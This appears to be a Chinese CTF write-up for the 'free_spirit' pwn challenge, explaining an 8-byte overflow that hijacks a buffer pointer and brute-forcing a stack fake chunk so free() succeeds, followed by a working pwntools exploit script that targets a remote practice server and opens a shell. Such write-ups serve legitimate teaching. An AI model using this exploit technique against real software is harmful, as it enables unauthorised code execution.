free_spirit(在栈上爆破一个可以被free的fake_chunk)

free_spirit(在栈上爆破一个可以被free的fake_chunk)

首先检查一下程序的保护机制

然后,我们用IDA分析一下,功能3存在8字节溢出,将会把v7下面的buf指针覆盖掉,而覆盖了buf指针,就能实现任意地址写。

 

 

那么,我们劫持函数栈返回地址为one_gadget即可,为了绕过结尾对buf的检查,我们的buf非0,且free后不会报错。

但是我们泄露不了堆地址,因此,只能在栈上找一个合适的fake_chunk,因此,可以直接在栈上爆破,直到程序不崩溃,那么就可以执行one_gadget了。

#coding:utf8
from pwn import *

backdoor = 0x0000000000400A3E

i = -54
while True:
   try:
      #sh = process('./free_spirit')
      sh = remote('node3.buuoj.cn',29949)
      i -= 1
      sh.sendlineafter('>','2')
      sh.recvuntil('0x')
      stack_addr = int(sh.recvuntil('\n',drop = True),16)
      print 'stack_addr=',hex(stack_addr)

      sh.sendlineafter('>','1')
      sleep(0.5)
      sh.send('a'*0x8 + p64(stack_addr + 0x58) + '\x00'*0x10)
      sleep(0.5)
      #8字节溢出,覆盖buf指针,造成任意地址写
      sh.sendlineafter('>','3')

      sh.sendlineafter('>','1')
      sh.sendline(p64(backdoor) + p64(stack_addr + i * 8))

      #8字节溢出,覆盖buf指针,使得free不报错
      sh.sendlineafter('>','3')
      #raw_input()
      sh.sendlineafter('>','0')

      sh.interactive()

   except:
      print 'trying...'
      sh.close()

 

热门文章

暂无图片
编程学习 ·

Spring Boot整合Zookeeper实现配置中心

简介 使用背景 说到配置中心,目前市面上用的较多的配置中心都广为人知,比如百度的Disconf、Spring Cloud Config、携程的Apollo、阿里的Nacos等。由于项目组一直是使用的zookeeper作为配置中心,所以来学习使用。 实现原理在Zookeeper建立一个根节点,比如/CONFIG,代表某个配…
暂无图片
编程学习 ·

JVM——Java的内存回收

Java引用的种类对于JVM的垃圾回收机制来说,如果一个对象,没有一个引用指向它,那么它就被认为是一个垃圾。那该对象就会回收。可以把JVM内存中对象引用理解成一种有向图,把引用变量、对象都当成有向图的顶点,将引用关系当成图的有向边(注意:有向边总是从引用变量指向被引…
暂无图片
编程学习 ·

anaconda安装pytorch

CPU版本: https://pytorch.org/get-started/previous-versions/ #CPU only conda install pytorch1.2.0 torchvision0.4.0 cpuonly -c pytorch 参考博客 [1]https://blog.csdn.net/u014723479/article/details/103001861?utm_medium=distribute.pc_relevant.none-task-blog-B…
暂无图片
编程学习 ·

leetcode-123. 买卖股票的最佳时机 III

题目 给定一个数组,它的第 i 个元素是一支给定的股票在第 i 天的价格。 设计一个算法来计算你所能获取的最大利润。你最多可以完成 两笔 交易。 注意: 你不能同时参与多笔交易(你必须在再次购买前出售掉之前的股票)。 示例 1: 输入: [3,3,5,0,0,3,1,4] 输出: 6 解释: 在第 4…
暂无图片
编程学习 ·

2-Openwrt ipv6之-pppoev6客户端

pppoe拨号方式上网,ubunut服务器需要有pppoe-server也要有dhcpv6-server,路由器端需要ppp-client,也要odhcp6c指向pppoe-wan端口。1. PPPOEv6客户端启动过程pppoe拨号为wan上面的另一种方式,所以需要将uci里面的上网模式proto 改成pppoe config interface wanoption ipv6 1…
暂无图片
编程学习 ·

自动驾驶论文解析(7)

本文解析论文: A Practical Trajectory Planning Framework for Autonomous Ground Vehicles Driving in Urban Environments 来自国防科大团队 文章依旧沿用了经典的横向的空间规划,和纵向的速度规划。在横向上,横向位置是关于纵向距离S的三阶多项式。纵向上速度是关于时间…
暂无图片
编程学习 ·

移动自动化测试-Appium基础操作API

Appium自动化测试框架 学习目标: 1.能够安装Appium桌面客户端 2.能够安装Appium-python库 Appium介绍: Appium是一个移动端的自动化测试框架,可用于测试原生应用,移动网页应用和混合型应用,且是垮平台的,可用于Android和IOS操作系统。 重要的是Appium是跨平台的,可以针对…
暂无图片
编程学习 ·

【备忘】PHP读取apk安装包信息

PHP读取apk安装包信息可以获取应用名称、包名、版本信息等[已测试通过]感谢前辈贡献的代码!!直接上代码->biu~以下是底层封装:<?phpnamespace libraries\apk;use think\Exception;class ApkParser{//----------------------// 公共函数,供外部调用//---------------…
暂无图片
编程学习 ·

2.1.2java三大特性

继承 定义:一个类继承另一个类的特性,被继承类称为父类,继承类称为子类。子类拥有父类所有的特征,并可以扩展。 实现:用extends关键字。 class Person {private String name;private int age;public String getName() {...}public void setName(String name) {...}public …
暂无图片
编程学习 ·

设计模式简单介绍五(模板方法模式)

模板方法模式的意图 定义一个操作中的算法骨架,而将一些步骤延迟到子类中。模板方法使得子类可以不改变一个算法的结构即可重新定义该算法的某些特定步骤。 让我上去刚读到这段话我也是看不懂的,但是在现实中我们真的很常用到模板模式,通俗一些说就是如果我们需要通用的代码…
暂无图片
编程学习 ·

MySQL--02(安装)

A:MySQL的安装 Linux/UNIX 上安装 MySQL Linux平台上推荐使用RPM包来安装Mysql,MySQL AB提供了以下RPM包的下载地址: 1.MySQL - MySQL服务器。你需要该选项,除非你只想连接运行在另一台机器上的MySQL服务器。 2.MySQL-client - MySQL 客户端程序,用于连接并操作Mysql服务器…
暂无图片
编程学习 ·

vue 插件大全

vue 插件大全 Vue是一个构建数据驱动的 web 界面的渐进式框架。Vue.js 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件特别整理了常用的vue插件,来了个大汇总,方便查找使用,便于工作和学习。很全的vue插件汇总,赶紧收藏下吧! 一、UI组件及框架element …
暂无图片
编程学习 ·

关于电力系统卫星时钟(NTP校时服务器)的4问4答

关于电力系统卫星时钟(NTP校时服务器)的4问4答 关于电力系统卫星时钟(NTP校时服务器)的4问4答 电力系统时钟同步产品, 正在国内外各行业近万个现场稳定运行,现就设备安装、日常维护及解决方案做下总结。 一、NTP网络时钟服务器卫星天线1、问:如何辨别天线好坏?答:将天…
暂无图片
编程学习 ·

树莓派基于Docker快速搭建nextcloud,附性能测试

文章目录前言正文树莓派刷系统环境准备调整时区Docker安装docker-compose的安装nextcloud运行nextcloud内网穿透配置 frp自动重新运行配置反向代理速度测试其他推荐总结 排版可能更好一点的永久原文链接:树莓派基于Docker快速搭建nextcloud,附性能测试 前言 一年前兴起买的树…
暂无图片
编程学习 ·

【线性代数(2)】n阶行列式三种定义

n阶行列式1. 回顾2. n阶行列式2.1 第一种定义(按行展开)2.2 表示方式2.3 举个例子2.4 三角行列式2.5 第二种定义(按列展开)2.6 第三种定义(随意展开)2.7 习题举例 1. 回顾 先回顾一下之前的三阶行列式,看一下其中的规律 ∣a11a12a13a21a22a23a31a32a33∣=a11∗a22∗a33+…
暂无图片
编程学习 ·

android openGL 两种投影方式

投影变换是一种很关键的图形变换,OpenGL中只提供了两种投影方式,一种是正射投影,另一种是透视投影。不管是调用哪种投影函数,为了避免不必要的变换,其前面必须加上以下两句: glMAtrixMode(GL_PROJECTION);glLoadIdentity();事实上,投影变换的目的就是定义一个视景体,使…
暂无图片
编程学习 ·

apollo移库导致apollo只能查询操作报错的解决方法

由于业务需要,需要在多台服务器部署apollo,而且apollo的配置基本一样,如果我们要一个一个的配置的话,那绝对让人很崩溃,如果还得远程,网速再不好,哭吧。 那如果把已经配置好的apollo数据库直接导出,再导入到其他的服务器上,那不是很惬意,但是在导入完后发现apollo只能…
暂无图片
编程学习 ·

驱动器阵列和容错方法(不同RAID的区别)

驱动器阵列和容错方法 驱动器阵列 单个物理(硬盘)驱动器的容量和性能足够家庭用户使用。但是,企业用户需要更大的存储容量、更高的 数据传输速率以及在驱动器发生故障时更有效地防止数据丢失。 将额外的物理驱动器(图中的 Pn)连接到系统可增加总存储容量,但对读取/写入 (…